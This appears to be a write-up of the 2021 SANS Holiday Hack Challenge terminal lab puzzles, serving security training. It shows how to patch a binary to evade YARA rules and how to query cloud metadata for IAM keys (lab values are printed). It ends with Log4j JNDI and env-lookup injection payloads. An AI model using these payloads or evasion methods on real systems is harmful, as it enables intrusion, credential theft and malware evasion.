root@ea03572dc3ba:/etc/fail2ban# Log file refreshed! It may take fail2ban a few moments to re-process.
36.153.146.36 has been added to the naughty list!
158.231.92.171 has been added to the naughty list!
201.241.176.147 has been added to the naughty list!
214.141.245.92 has been added to the naughty list!
140.221.98.188 has been added to the naughty list!
160.28.201.111 has been added to the naughty list!
171.96.127.125 has been added to the naughty list!
170.149.30.23 has been added to the naughty list!
46.246.249.134 has been added to the naughty list!
114.217.29.146 has been added to the naughty list!
152.52.186.210 has been added to the naughty list!
163.66.241.151 has been added to the naughty list!
51.141.78.153 has been added to the naughty list!
191.156.190.179 has been added to the naughty list!
214.87.117.92 has been added to the naughty list!
You correctly identifed 15 IPs out of 15 bad IPs
You incorrectly added 0 benign IPs to the naughty list
*******************************************************************
* You stopped the attacking systems! You saved our systems!
*
* Thank you for all of your help. You are a talented defender!
*******************************************************************
Fantastic! Thanks for the help!
Hey, would you like to know more about Kerberoasting and Active Directory permissions abuse?
There’s a great talk by Chris Davis on this exact subject!
There are also plenty of resources available to learn more about Kerberoasting specifically.
If you have any trouble finding a domain controller, remember that, when not running as root,nmap
default probing relies on connecting to TCP 80 and 443.
Got a hash that won’t crack with your wordlist? OneRuleToRuleThemAll.rule is a great way to grow your keyspace.
Where’d you get your wordlist? CeWL might generate a great wordlist from the ElfU website, but it will ignore digits in terms by default.
So, apropos of nothing, have you ever known system administrators who store credentials in scripts? I know, I know, you understand the folly and would never do it!
The easy way to investigate Active Directory misconfigurations (for Blue and Red alike!) is with Bloodhound, but there are native, methods as well.
Oh, and one last thing: once you’ve granted permissions to your user, it might take up to five minutes for it to propogate throughout the domain.
Yara Analysis - Fitzy Shortstack
Provides hints for: Objective 9 - Splunk
Hiya, I’m Fitzy Shortstack!
I was just trying to learn a bit more about YARA with this here Cranberry Pi terminal.
I mean, I’m not saying I’m worried about attack threats from that other con next door, but…
OK. I AM worried. I’ve been thinking a bit about how malware might bypass YARA rules.
If you can help me solve the issue in this terminal, I’ll understand YARA so much better! Would you please check it out so I can learn?
And, I’ll tell you what – if you help me with YARA, I’ll give you some tips for Splunk!
I think if you make small, innocuous changes to the executable, you can get it to run in spite of the YARA rules.
In this terminal challenge we modify a binary file to bypass YARA rules.
HELP!!!
This critical application is supposed to tell us the sweetness levels of our candy
manufacturing output (among other important things), but I can't get it to run.
It keeps saying something something yara. Can you take a look and see if you
can help get this application to bypass Sparkle Redberry's Yara scanner?
If we can identify the rule that is triggering, we might be able change the program
to bypass the scanner.
We have some tools on the system that might help us get this application going:
vim, emacs, nano, yara, and xxd
The children will be very disappointed if their candy won't even cause a single cavity.
Rule 135:
snowball2@f1f9eba074d9:~$ ./the_critical_elf_app
yara_rule_135 ./the_critical_elf_app
snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 11 'rule yara_rule_135 {'
rule yara_rule_135 {
meta:
description = "binaries - file Sugar_in_the_machinery"
author = "Sparkle Redberry"
reference = "North Pole Malware Research Lab"
date = "1955-04-21"
hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
strings:
$s = "candycane"
condition:
$s
}
You can modify files in vi as tho it were a hex editor by using the commands :%!xxd
to transforam a file into hex, modify the code (the hex part) then use the command :%!xxd -r
to turn the file back into binary and save it.
Using this method we modify any string containing the word candycane to use a capital C which will bypass this first yara rule.
00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002000: 0100 0200 0000 0000 6361 6e64 7963 616e ........candycan
00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67 e.naughty string
00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002000: 0100 0200 0000 0000 4361 6e64 7963 616e ........Candycan
00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67 e.naughty string
Rule 1056:
snowball2@f1f9eba074d9:~$ ./the_critical_elf_app
yara_rule_1056 ./the_critical_elf_app
snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 15 'rule yara_rule_1056 {'
rule yara_rule_1056 {
meta:
description = "binaries - file frosty.exe"
author = "Sparkle Redberry"
reference = "North Pole Malware Research Lab"
date = "1955-04-21"
hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
strings:
$s1 = {6c 6962 632e 736f 2e36}
$hs2 = {726f 6772 616d 2121}
condition:
all of them
}
We are looking for two strings as follows.
1 - 6c 6962 632e 736f 2e36
= libc.so.6
2 - 726f 6772 616d 2121
= rogram!!
and we are matching against all of them
So lets avoid changing the references to a library like libc.so.6
and instead change the other string.
00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468 execution of th
00002050: 6973 2070 726f 6772 616d 2121 0000 0000 is program!!....
00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c HolidayHackChall
I have opted to remove one of the !
marks from program!!
00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468 execution of th
00002050: 6973 2070 726f 6772 616d 2100 0000 0000 is program!.....
00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c HolidayHackChall
Rule 1732:
snowball2@f1f9eba074d9:~$ ./the_critical_elf_app
yara_rule_1732 ./the_critical_elf_app
snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 32 'rule yara_rule_1732 {'
rule yara_rule_1732 {
meta:
description = "binaries - alwayz_winter.exe"
author = "Santa"
reference = "North Pole Malware Research Lab"
date = "1955-04-22"
hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
strings:
$s1 = "This is critical for the execution of this program!!" fullword ascii
$s2 = "__frame_dummy_init_array_entry" fullword ascii
$s3 = ".note.gnu.property" fullword ascii
$s4 = ".eh_frame_hdr" fullword ascii
$s5 = "__FRAME_END__" fullword ascii
$s6 = "__GNU_EH_FRAME_HDR" fullword ascii
$s7 = "frame_dummy" fullword ascii
$s8 = ".note.gnu.build-id" fullword ascii
$s9 = "completed.8060" fullword ascii
$s10 = "_IO_stdin_used" fullword ascii
$s11 = ".note.ABI-tag" fullword ascii
$s12 = "naughty string" fullword ascii
$s13 = "dastardly string" fullword ascii
$s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
$s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
$s16 = "GLIBC_2.2.5" fullword ascii
$s17 = "its_a_holly_jolly_variable" fullword ascii
$s18 = "__cxa_finalize" fullword ascii
$s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
$s20 = "__libc_csu_init" fullword ascii
condition:
uint32(1) == 0x02464c45 and filesize < 50KB and
10 of them
}
The first condition checks to make sure it is a linux ELF file starting at byte 1 so we skip the first byte and read what is after that in reverse due to endiness. So we already pass this initial check and can ignore that condition.
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 4010 0000 0000 0000 ..>.....@.......
If we increase our file size past 50K then we are not subject to this rule.
snowball2@fb625c5631ba:~$ truncate -s 60K ./the_critical_elf_app
snowball2@fb625c5631ba:~$ ls -lah ./the_critical_elf_app
-rwxr-xr-x 1 snowball2 snowball2 60K Dec 10 21:33 ./the_critical_elf_app
snowball2@fb625c5631ba:~$ ./the_critical_elf_app
Machine Running..
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564
Thanks - you figured it out!
Let me tell you what I know about Splunk.
Did you know Splunk recently added support for new data sources including Sysmon for Linux and GitHub Audit Log data?
Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including commongit
commands such asgit add
,git status
, andgit commit
.
You can also see cloned GitHub projects. There’s a lot of interesting stuff out there. Did you know there are repositories of code that are Darn Vulnerable?
Sysmon provides a lot of valuable data, but sometimes correlation across data types is still necessary.
Sysmon network events don’t reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID.
Sometimes Sysmon data collection is awkward. Pipelining multiple commands generates multiple Sysmon events, for example.
Did you know there are multiple versions of the Netcat command that can be used maliciously?nc.openbsd
, for example.
IMDS Exploration - Noxious O. D’or
Provides hints for: Objective 10 - Now Hiring
Hey, this is the executive restroom. Wasn’t that door closed?
I’m Noxious O’Dor. And I’ve gotta say, I think that Jack Frost is just messed up.
I mean, I’m no expert, but his effort to “win” against Santa by going bigger and bolder seems bad.
You know, I’m having some trouble with this IMDS exploration. I’m hoping you can give me some help in solving it.
If you do, I’ll be happy to trade you for some hints on SSRF! I’ve been studying up on that and have some good ideas on how to attack it!
This one is pretty straight forward, follow the instructions to complete the challenge.
Prof. Petabyte here. In this lesson you'll continue to build your cloud asset skills,
interacting with the Instance Metadata Service (IMDS) using curl.
If you get stuck, run 'hint' for assitance.
Q1:
The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.
Ans:
elfu@986250f095ff:~$ ping 169.254.169.254
IMDS provides information about currently running virtual machine instances. You can use it
to manage and configure cloud nodes. IMDS is used by all major cloud providers.
Run 'next' to continue.
Q2:
Developers can automate actions using IMDS. We'll interact with the server using the cURL
tool. Run 'curl http://169.254.169.254' to access IMDS data.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254
latest
Different providers will have different formats for IMDS data. We're using an AWS-compatible
IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint.
Run 'curl http://169.254.169.254/latest'
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest
dynamic
meta-data
IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic
endpoint, which provides information about the instance itself. Repeat the request
to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest/dynamic
fws/instance-monitoring
instance-identity/document
instance-identity/pkcs7
instance-identity/signature
The instance identity document can be used by developers to understand the instance details.
Repeat the request, this time requesting the instance-identity/document resource:
'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest/dynamic/instance-identity/document
{
"accountId": "PCRVQVHN4S0L4V2TE",
"imageId": "ami-0b69ea66ff7391e80",
"availabilityZone": "np-north-1f",
"ramdiskId": null,
"kernelId": null,
"devpayProductCodes": null,
"marketplaceProductCodes": null,
"version": "2017-09-30",
"privateIp": "10.0.7.10",
"billingProducts": null,
"instanceId": "i-1234567890abcdef0",
"pendingTime": "2021-12-01T07:02:24Z",
"architecture": "x86_64",
"instanceType": "m4.xlarge",
"region": "np-north-1"
}
Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON)
format. Piping the output to 'jq' will make the content easier to read.
Re-run the previous command, sending the output to JQ: 'curl
http://169.254.169.254/latest/dynamic/instance-identity/document | jq'
Ans:
elfu@986250f095ff:~$ curl -s http://169.254.169.254/latest/dynamic/instance-identity/document | jq
{
"accountId": "PCRVQVHN4S0L4V2TE",
"imageId": "ami-0b69ea66ff7391e80",
"availabilityZone": "np-north-1f",
"ramdiskId": null,
"kernelId": null,
"devpayProductCodes": null,
"marketplaceProductCodes": null,
"version": "2017-09-30",
"privateIp": "10.0.7.10",
"billingProducts": null,
"instanceId": "i-1234567890abcdef0",
"pendingTime": "2021-12-01T07:02:24Z",
"architecture": "x86_64",
"instanceType": "m4.xlarge",
"region": "np-north-1"
}
Here we see several details about the instance when it was launched. Developers can use this
information to optimize applications based on the instance launch parameters.
Run 'next' to continu
Q3:
In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as
well. Examine the metadata elements available:
'curl http://169.254.169.254/latest/meta-data'
Ans:
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami
block-device-mapping/ebs0
block-device-mapping/ephemeral0
block-device-mapping/root
block-device-mapping/swap
elastic-inference/associations
elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1
events/maintenance/scheduled
events/recommendations/rebalance
hostname
iam/info
iam/security-credentials
iam/security-credentials/elfu-deploy-role
instance-action
instance-id
instance-life-cycle
instance-type
latest
latest/api/token
local-hostname
local-ipv4
mac
network/interfaces/macs/0e:49:61:0f:c3:11/device-number
network/interfaces/macs/0e:49:61:0f:c3:11/interface-id
network/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54
network/interfaces/macs/0e:49:61:0f:c3:11/ipv6s
network/interfaces/macs/0e:49:61:0f:c3:11/local-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/local-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/mac
network/interfaces/macs/0e:49:61:0f:c3:11/owner-id
network/interfaces/macs/0e:49:61:0f:c3:11/public-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/public-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/security-group-ids
network/interfaces/macs/0e:49:61:0f:c3:11/security-groups
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-id
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv6-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-id
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv6-cidr-blocks
placement/availability-zone
placement/availability-zone-id
placement/group-name
placement/host-id
placement/partition-number
placement/region
product-codes
public-hostname
public-ipv4
public-keys/0/openssh-key
reservation-id
security-groups
services/domain
services/partition
spot/instance-action
spot/termination-time
By accessing the metadata elements, a developer can interrogate information about the
system. Take a look at the public-hostname element:
'curl http://169.254.169.254/latest/meta-data/public-hostname'
Ans:
ec2-192-0-2-54.compute-1.amazonaws.com
Many of the data elements returned won't include a trailing newline, which causes the
response to blend into the prompt. Re-run the prior command, adding '; echo' to the end of
the command. This will add a new line character to the response.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/public-hostname; echo
ec2-192-0-2-54.compute-1.amazonaws.com
There is a whole lot of information that can be retrieved from the IMDS server. Even AWS
Identity and Access Management (IAM) credentials! Request the endpoint
'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM
role.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials; echo
elfu-deploy-role
Once you know the role name, you can request the AWS keys associated with the role. Request
the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-
role' to get the instance AWS keys.
Ans:
elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role; echo
{
"Code": "Success",
"LastUpdated": "2021-12-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-12-02T18:50:40Z"
}
So far, we've been interacting with the IMDS server using IMDSv1, which does not require
authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This
is more secure, but not on by default.
Run 'next' to continue.
Q4:
For IMDSv2 access, you must request a token from the IMDS server using the
X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be
used for (between 1 and 21,600 secods).
Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.
Ans:
fu@986250f095ff:~$ cat gettoken.sh
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
This script will retrieve a token from the IMDS server and save it in the environment
variable TOKEN. Import it into your environment by running 'source gettoken.sh'.
Ans:
elfu@986250f095ff:~$ source gettoken.sh
Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents
of the token by running 'echo $TOKEN'.
Ans:
elfu@986250f095ff:~$ echo $TOKEN
Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=
With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token
header to the curl request. Access the metadata region information in an
IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/placement/region'
Ans:
elfu@986250f095ff:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region; echo
np-north-1
Congratulations!
You've completed the lesson on Instance Metadata interaction. Run 'exit' to close.
Phew! That is something extra! Oh, and you solved the challenge too? Great!
Cloud assets are interesting targets for attackers. Did you know they automatically get IMDS access?
I’m very concerned about the combination of SSRF and IMDS access.
Did you know it’s possible to harvest cloud keys through SSRF and IMDS attacks?
Dr. Petabyte told us, “anytime you see URL as an input, test for SSRF.”
With an SSRF attack, we can make the server request a URL. This can reveal valuable data!
The AWS documentation for IMDS is interesting reading.
Strace Ltrace Retrace - Tinsel Upatree
Provides hints for: Objective 11 - Customer Complaint Analysis
Hiya hiya, I’m Tinsel Upatree!
Say, do you know what’s going on next door?
I’m a bit worried about the whole FrostFest event.
It feels a bit… ill-conceived, somehow. Nasty even.
Well, regardless – and more to the point, what do you know about tracing processes in Linux?
We rebuilt this here Cranberry Pi that runs the cotton candy machine, but we seem to be missing a file.
Do you think you can usestrace
orltrace
to help us rebuild the missing config?
We’d like to help some of our favorite children enjoy the sweet spun goodness again!
And, if you help me with this, I’ll give you some hints about using Wireshark filters to look for unusual options that might help you achieve Objectives here at the North Pole.
================================================================================
Please, we need your help! The cotton candy machine is broken!
We replaced the SD card in the Cranberry Pi that controls it and reinstalled the
software. Now it's complaining that it can't find a registration file!
Perhaps you could figure out what the cotton candy software is looking for...
================================================================================
kotton_kandy_co@d38a94d7c956:~$
Strace
kotton_kandy_co@d38a94d7c956:~$ strace ./make_the_candy
execve("./make_the_candy", ["./make_the_candy"], 0x7ffe82d37bd0 /* 12 vars */) = 0
brk(NULL) = 0x562ce9b2a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=19540, ...}) = 0
mmap(NULL, 19540, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6363921000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f636391f000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f636330c000
mprotect(0x7f63634f3000, 2097152, PROT_NONE) = 0
mmap(0x7f63636f3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f63636f3000
mmap(0x7f63636f9000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f63636f9000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f63639204c0) = 0
mprotect(0x7f63636f3000, 16384, PROT_READ) = 0
mprotect(0x562ce87df000, 4096, PROT_READ) = 0
mprotect(0x7f6363926000, 4096, PROT_READ) = 0
munmap(0x7f6363921000, 19540) = 0
brk(NULL) = 0x562ce9b2a000
brk(0x562ce9b4b000) = 0x562ce9b4b000
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "Unable to open configuration fil"..., 35Unable to open configuration file.
) = 35
exit_group(1) = ?
+++ exited with 1 +
It appears to be looking for a registration.json
file.
kotton_kandy_co@d38a94d7c956:~$ touch registration.json
kotton_kandy_co@d38a94d7c956:~$ ./make_the_candy
Unregistered - Exiting.
New we need to figure out the contents for our json file.
Ltrace
kotton_kandy_co@d38a94d7c956:~$ ltrace ./make_the_candy
fopen("registration.json", "r") = 0x55dc75e4b260
getline(0x7ffe56d04f30, 0x7ffe56d04f38, 0x55dc75e4b260, 0x7ffe56d04f38) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
) = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration' > registration.json && ltrace ./make_the_candy
fopen("registration.json", "r") = 0x5627cd870260
getline(0x7fffbb4b1d20, 0x7fffbb4b1d28, 0x5627cd870260, 0x7fffbb4b1d28) = 13
strstr("Registration\n", "Registration") = "Registration\n"
strchr("Registration\n", ':') = nil
getline(0x7fffbb4b1d20, 0x7fffbb4b1d28, 0x5627cd870260, 0x7fffbb4b1d28) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
) = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration:' > registration.json && ltrace ./make_the_candy
fopen("registration.json", "r") = 0x55cb5fb07260
getline(0x7ffe676da9e0, 0x7ffe676da9e8, 0x55cb5fb07260, 0x7ffe676da9e8) = 14
strstr("Registration:\n", "Registration") = "Registration:\n"
strchr("Registration:\n", ':') = ":\n"
strstr(":\n", "True") = nil
getline(0x7ffe676da9e0, 0x7ffe676da9e8, 0x55cb5fb07260, 0x7ffe676da9e8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
) = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration: True' > registration.json && ltrace ./make_the_candy
fopen("registration.json", "r") = 0x561c88596260
getline(0x7ffef76c5530, 0x7ffef76c5538, 0x561c88596260, 0x7ffef76c5538) = 19
strstr("Registration: True\n", "Registration") = "Registration: True\n"
strchr("Registration: True\n", ':') = ": True\n"
strstr(": True\n", "True") = "True\n"
getline(0x7ffef76c5530, 0x7ffef76c5538, 0x561c88596260, 0x7ffef76c5538) = -1
system("/bin/initialize_cotton_candy_sys"...
Launching...
* *
* *
Candy making in progress
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
fclose(0x561c88596260) = 0
+++ exited (status 0) +++
Great! Thanks so much for your help!
I’m sure I can put those skills I just learned from you to good use.
Are you familiar with RFC3514?
Wireshark uses a different name for the Evil Bit:ip.flags.rb
.
HTTP responses are often gzip compressed. Fortunately, Wireshark decompresses them for us automatically.
You can search for strings in Wireshark fields using display filters with thecontains
keyword.
The Elf Code - Ribb Bonbowford
Provides hints for:
Hello, I’m Ribb Bonbowford. Nice to meet you!
Are you new to programming? It’s a handy skill for anyone in cyber security.
This here machine lets you control an Elf using Python 3. It’s pretty fun, but I’m having trouble getting beyond Level 8.
Tell you what… if you help me get past Level 8, I’ll share some of my SQLi tips with you. You may find them handy sometime around the North Pole this season.
Most of the information you’ll need is provided during the game, but I’ll give you a few more pointers, if you want them.
Not sure what a lever requires? Click it in theCurrent Level Objectives
panel.
You can move the elf with commands likeelf.moveLeft(5)
,elf.moveTo({"x":2,"y":2})
, orelf.moveTo(lever0.position)
.
Looping through long movements? Don’t be afraid tomoveUp(99)
or whatever. You elf will stop at any obstacle.
You can call functions likemyFunction()
. If you ever need to pass a function to a munchkin, you can usemyFunction
without the()
.
Level 0: Just hit run, this is example code to get you started.
import elf, munchkins, levers, lollipops, yeeters, pits
# Grab our lever object
lever = levers.get(0)
munchkin = munchkins.get(0)
lollipop = lollipops.get(0)
# move to lever position
elf.moveTo(lever.position)
# get lever int and add 2 and submit val
leverData = lever.data() + 2
lever.pull(leverData)
# Grab lollipop and stand next to munchkin
elf.moveLeft(1)
elf.moveUp(8)
# Solve the munchkin's challenge
munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4]
answer_list = []
for elem in munchList:
if type(elem) == int:
answer_list.append(elem)
munchkin.answer(answer_list)
elf.moveUp(2) # Move to finish
Level 1:
import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(12)
Level 2:
import elf, munchkins, levers, lollipops, yeeters, pits
lps = lollipops.get()
elf.moveTo(lps[1].position)
elf.moveTo(lps[0].position)
elf.moveLeft(3)
elf.moveUp(6)
Level 3:
import elf, munchkins, levers, lollipops, yeeters, pits
l, lp = levers.get(0), lollipops.get(0)
elf.moveTo(l.position)
l.pull(l.data() + 2)
elf.moveTo(lp.position)
elf.moveUp(12)
Level 4:
Navigate to levers in reverse and reference a list for lever answers.
import elf, munchkins, levers, lollipops, yeeters, pits
ans = ["string", True, 1.0, [1, 2], {"dict": 1}]
count = 0
for lever in reversed(levers.get()):
elf.moveTo(lever.position)
lever.pull(ans[count])
count += 1
elf.moveUp(5)
Level 5:
Navigate to levers in reverse order, use a counter to trigger different answers.
import elf, munchkins, levers, lollipops, yeeters, pits
count = 0
for lever in reversed(levers.get()):
ans = None
elf.moveTo(lever.position)
data = lever.data()
if count == 0:
ans = data + " concatenate"
if count == 1:
ans = not data
if count == 2:
ans = 1 + data
if count == 3:
data.append(1)
ans = data
if count == 4:
data["strkey"]="strvalue"
ans = data
lever.pull(ans)
count += 1
elf.moveUp(5)
Level 6:
Check single lever for returned data type and reply based on type.
import elf, munchkins, levers, lollipops, yeeters, pits
l = levers.get(0)
elf.moveTo(l.position)
d = l.data()
ans = None
if type(d) == bool:
ans = not d
elif type(d) == int:
ans = d * 2
elif type(d) == list:
ans = [x+1 for x in d]
elif type(d) == str:
ans = d + d
elif type(d) == dict:
d['a'] += 1
ans = d
l.pull(ans)
elf.moveUp(4)
Level 7:
import elf, munchkins, levers, lollipops, yeeters, pits
switch = True
for i in range(4):
elf.moveLeft(3)
elf.moveUp(12) if switch else elf.moveDown(12)
switch = not switch
elf.moveLeft(3)
elf.moveUp(12)
Level 8:
Answer the munchkins request to make him friendly then just navigate through
import elf, munchkins, levers, lollipops, yeeters, pits
m = munchkins.get(0)
data = m.ask()
ans = list(data.keys())[list(data.values()).index('lollipop')]
m.answer(ans)
for lp in lollipops.get():
elf.moveTo(lp.position)
elf.moveLeft(8)
elf.moveUp(5)
Level 9:
import elf, munchkins, levers, lollipops, yeeters, pits
def munchkin_food(lol):
total = 0
for l in lol:
for i in l:
total += i if type(i) == int else 0
return total
munchkins.get(0).answer(munchkin_food)
l = levers.get()
for i in range(8):
if i%4 == 0:
elf.moveDown(i+1)
if i%4 == 1:
elf.moveLeft(i+1)
if i%4 == 2:
elf.moveUp(i+1)
if i%4 == 3:
elf.moveRight(i+1)
if i < 7:
l[i].pull(i)
elf.moveUp(2)
elf.moveLeft(4)
elf.moveUp(2)
Level 10:
import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
while True:
sp, mp = elf.position['x'], mun.position['x']
dif = sp-mp if mp < sp else mp-sp
time.sleep(0.05)
if dif == 6:
elf.moveTo(lols[index].position)
break
elf.moveLeft(6)
elf.moveUp(3)
Gosh, with skills like that, I’ll bet you could help figure out what’s really going on next door…
And, as I promised, let me tell you what I know about SQL injection.
I hear that having source code for vulnerability discovery dramatically changes the vulnerability discovery process.
I imagine it changes how you approach an assessment too.
When you have the source code, API documentation becomes tremendously valuable.
Who knows? Maybe you’ll even find more than one vulnerability in the code.
Wow - even the bonus levels! That’s amazing!
Frostavator - Grody Goiterson
Provides hints for:
Hrmph. Snrack! Pthbthbthb.
Gnerphk. Well, on to business.
I’m Grody Goiterson. … It’s a family name.
So hey, this is the Frostavator. It runs on some logic chips… that fell out.
I put them back in, but I must have mixed them up, because it isn’t working now.
If you don’t know much about logic gates, it’s something you should look up.
If you help me run the elevator, maybe I can help you with something else.
I’m pretty good with FPGAs, if that’s worth something to ya'.
This is a simple logic puzzle, move the different gates into the apropriate spots to power the Frostavator.
Hrmph. Snrack! Pthbthbthb.
Oooo… That’s it!
A deal’s a deal. Let’s talk FPGA.
First, did you know there are people who do this stuff for fun??
I mean, I’m more into picking on other trolls for fun, but whatever.
Also, that Prof. Petabyte guy is giving a talk about FPGAs. Weirdo.
So hey, good luck or whatever.
Bonus Challenges
Bonus Blue Log4Jack
Simple Log4J informational challenges added in the middle of HHC 2021. I found these challenges to be very unstable so I made a list of commands I could copy and paste and work through it as quickly as possible.
cmds terminal keeps resetting
y
sleep 1
next
sleep 1
ls
sleep 1
cd vulnerable
sleep 1
ls
sleep 1
cat DisplayFilev1.java
sleep 1
javac DisplayFilev1.java
sleep 1
java DisplayFilev1 testfile.txt
sleep 1
java DisplayFilev1 testfile2.txt
sleep 1
next
sleep 1
cat DisplayFilev2.java
sleep 1
next
sleep 1
javac DisplayFilev2.java
sleep 1
java DisplayFilev2 testfile2.txt
sleep 1
next
sleep 1
java DisplayFilev2 '${java:version}'
sleep 1
java DisplayFilev2 '${env:APISECRET}'
sleep 1
next
sleep 1
startserver.sh
Interrupt:
java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'
Ctrl+c
cd ~/patched
sleep 1
ls
sleep 1
source classpath.sh
sleep 1
javac DisplayFilev2.java
sleep 1
java DisplayFilev2 '${java:version}'
sleep 1
cd
sleep 1
log4j2-scan ./vulnerable/
sleep 1
log4j2-scan ./patched/
sleep 1
log4j2-scan /var/www/solr
sleep 1
next
sleep 1
